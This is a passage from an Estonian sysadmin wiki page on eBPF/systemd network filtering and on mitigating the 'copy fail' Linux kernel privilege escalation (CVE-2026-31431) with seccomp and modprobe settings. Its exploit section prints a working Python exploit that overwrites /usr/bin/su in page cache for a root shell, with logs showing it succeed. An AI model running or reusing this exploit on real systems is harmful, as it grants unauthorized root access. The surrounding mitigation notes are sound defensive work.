root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
ebpf on seotud mitte protsessiga, aga cgroup'iga nt nginx cgroup juurde kuuluvate ebpf'ide nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# bpftool cgroup show /sys/fs/cgroup/system.slice/nginx.service&lt;br /&gt;
ID       AttachType      AttachFlags     Name&lt;br /&gt;
74       cgroup_inet_ingress multi           sd_fw_ingress&lt;br /&gt;
73       cgroup_inet_egress multi           sd_fw_egress&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (asuvad arvuti mälus)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (asub plokkseadmel)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
plokkseade (asub nö füüsilisel esemel)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
Leevenduste iseloomustus&lt;br /&gt;
&lt;br /&gt;
* systemd (seccomp) - operatsioonisüsteemi syscall liidesel asuv nö tulemüür, mingis mõttes asub kerneli protsesside poole vaatavas osas&lt;br /&gt;
* apparmor (lsm - linux security modules)- erinevate süsteemi võimekustele ligipääsemise takistamised (asub kerneli protsesside poole vaatavast osast teisel pool)&lt;br /&gt;
* modprobe - kerneli funktsionaalsust realiseeriv komponent (kahe esimese puhul ei saa funktsionaalust kasutada isegi kui kernelis on see iseenest kohal)&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@moraal:~# uname -a&lt;br /&gt;
Linux moraal 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux&lt;br /&gt;
&lt;br /&gt;
root@moraal:~# modprobe algif_aead&lt;br /&gt;
modprobe: ERROR: ../libkmod/libkmod-module.c:1084 command_do() Error running install command '/bin/false' for module algif_aead: retcode 1&lt;br /&gt;
modprobe: ERROR: could not insert 'algif_aead': Invalid argument&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===20260508 - dirty frag eksploit===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
chatgpt üks pakkumine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[Service]&lt;br /&gt;
# Blocks the RxRPC network protocol specifically&lt;br /&gt;
RestrictAddressFamilies=~AF_RXRPC&lt;br /&gt;
&lt;br /&gt;
# Prevents gaining root via setuid binaries (essential for LPE defense)&lt;br /&gt;
NoNewPrivileges=yes&lt;br /&gt;
&lt;br /&gt;
# Blocks the kernel module from being auto-loaded&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
&lt;br /&gt;
# Restricts namespaces (blocks the ESP variant requirement)&lt;br /&gt;
RestrictNamespaces=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Random linux arvutis toetatud protokollide perekonnad (2026 aastal on neid kokku ca 40 tükki)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /proc/net/protocols&lt;br /&gt;
protocol  size sockets  memory press maxhdr  slab module     cl co di ac io in de sh ss gs se re bi br ha uh gp em&lt;br /&gt;
SCO        896      0      -1   NI       0   no   bluetooth   n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
L2CAP      880      0      -1   NI       0   no   bluetooth   n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
HCI        936      0      -1   NI       0   no   bluetooth   n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
PACKET    1600      0      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
